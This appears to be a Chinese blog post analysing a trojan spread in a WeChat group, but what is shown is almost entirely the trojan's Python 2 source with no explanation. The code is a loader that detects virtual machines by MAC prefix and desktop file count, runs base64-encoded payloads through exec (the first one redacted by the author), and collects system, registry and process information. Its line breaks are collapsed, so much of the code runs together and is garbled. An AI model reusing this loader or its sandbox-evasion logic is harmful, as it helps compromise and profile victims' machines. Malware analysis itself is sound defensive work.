记一次微信交流群内免杀木马分析以及溯源

import uuidimport ctypesimport timeimport requestsimport base64import osimport sysimport tkMessageBoximport Tkinter as tkimport tkMessageBoximport osimport platformimport psutilimport subprocess
import _winreg as winreg

def get_mac_address():    mac = uuid.UUID(int=uuid.getnode()).hex[-12:]    return ":".join([mac[i:i+2] for i in range(0, 12, 2)])
def main():    mac_address = get_mac_address()    if mac_address.startswith("52:54"):        tkMessageBox.showinfo("提示", "本机MAC有误,请更换机器")        time.sleep(5)        sys.exit()    else:        url = "http://www.baidu.com"        try:            response = requests.get(url)            if response.status_code == 200:                string = '''手动马赛克'''                exec (base64.b64decode(string))                if os.path.exists("1.txt"):                    # 获取桌面路径                    desktop_path = os.path.join(os.path.expanduser("~"), "Desktop")                    # 获取桌面图标、快捷方式和文件数量                    desktop_files = os.listdir(desktop_path)                    icon_count = sum(1 for file in desktop_files if file.endswith(".ico"))                    shortcut_count = sum(1 for file in desktop_files if file.endswith(".lnk"))                    file_count = len(desktop_files) - icon_count - shortcut_count                    if icon_count + shortcut_count + file_count > 6:                        exec (base64.b64decode(wb.text))                    else:                        # 弹出对话框                        tkMessageBox.showinfo("警告", "请不要在虚拟机内运行")                else:                    # 弹出对话框                    current_user = os.getenv('USERNAME')
                    # 获取当前电脑名称                    computer_name = platform.node()


                    # 获取网络连接名称                    network_connections = []                    for conn in psutil.net_if_addrs():                        network_connections.append(conn)
                    # 获取缓存大小                    cache_size = psutil.swap_memory().used
                    # 获取当前路径                    current_path = os.getcwd()
                    # 获取内存大小                    memory_size = psutil.virtual_memory().total
                    # 获取当前系统语言                    system_language = os.getenv('LANG')
                    # 获取当前系统安装的软件                    installed_software = []                    with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,                                        r"SOFTWAREMicrosoftWindowsCurrentVersionUninstall") as key:                        for i in range(winreg.QueryInfoKey(key)[0]):                            try:                                subkey_name = winreg.EnumKey(key, i)                                with winreg.OpenKey(key, subkey_name) as subkey:                                    installed_software.append(winreg.QueryValueEx(subkey, "DisplayName")[0])                            except WindowsError:                                pass
                    # 获取所有浏览器内的历史记录条数，收藏记录、缓存记录个数                    browser_history_count = 0                    browser_bookmark_count = 0                    browser_cache_count = 0                    # 这里需要根据具体浏览器类型获取历史记录条数，收藏记录、缓存记录个数
                    # 获取当前所有进程名称                    process_names = [p.name() for p in psutil.process_iter()]
                    # 创建tk弹窗展示信息                    root = tk.Tk()                    root.title("System Information")
                    info_str = u"""                        当前用户：%s                        计算机名称：%s                                            网络连接：%s                        缓存大小：%s                        当前路径：%s                        内存大小：%s                        系统语言：%s                        已安装软件：%s                        浏览器历史记录数量：%s                        浏览器收藏夹数量：%s                        浏览器缓存数量：%s                        进程名称：%s                        """ % (                    current_user, computer_name, network_connections, cache_size, current_path,                    memory_size,                    system_language, installed_software, browser_history_count, browser_bookmark_count,                    browser_cache_count,                    process_names)                    tkMessageBox.showinfo("系统信息", info_str)                    root.mainloop()                                else:                tkMessageBox.showinfo("提示", "请联系管理员重新获取软件")        except requests.exceptions.RequestException as e:            tkMessageBox.showinfo("提示", "服务器被攻击，无法连接服务器，请过段时间再试一次")

if __name__ == "__main__":    main()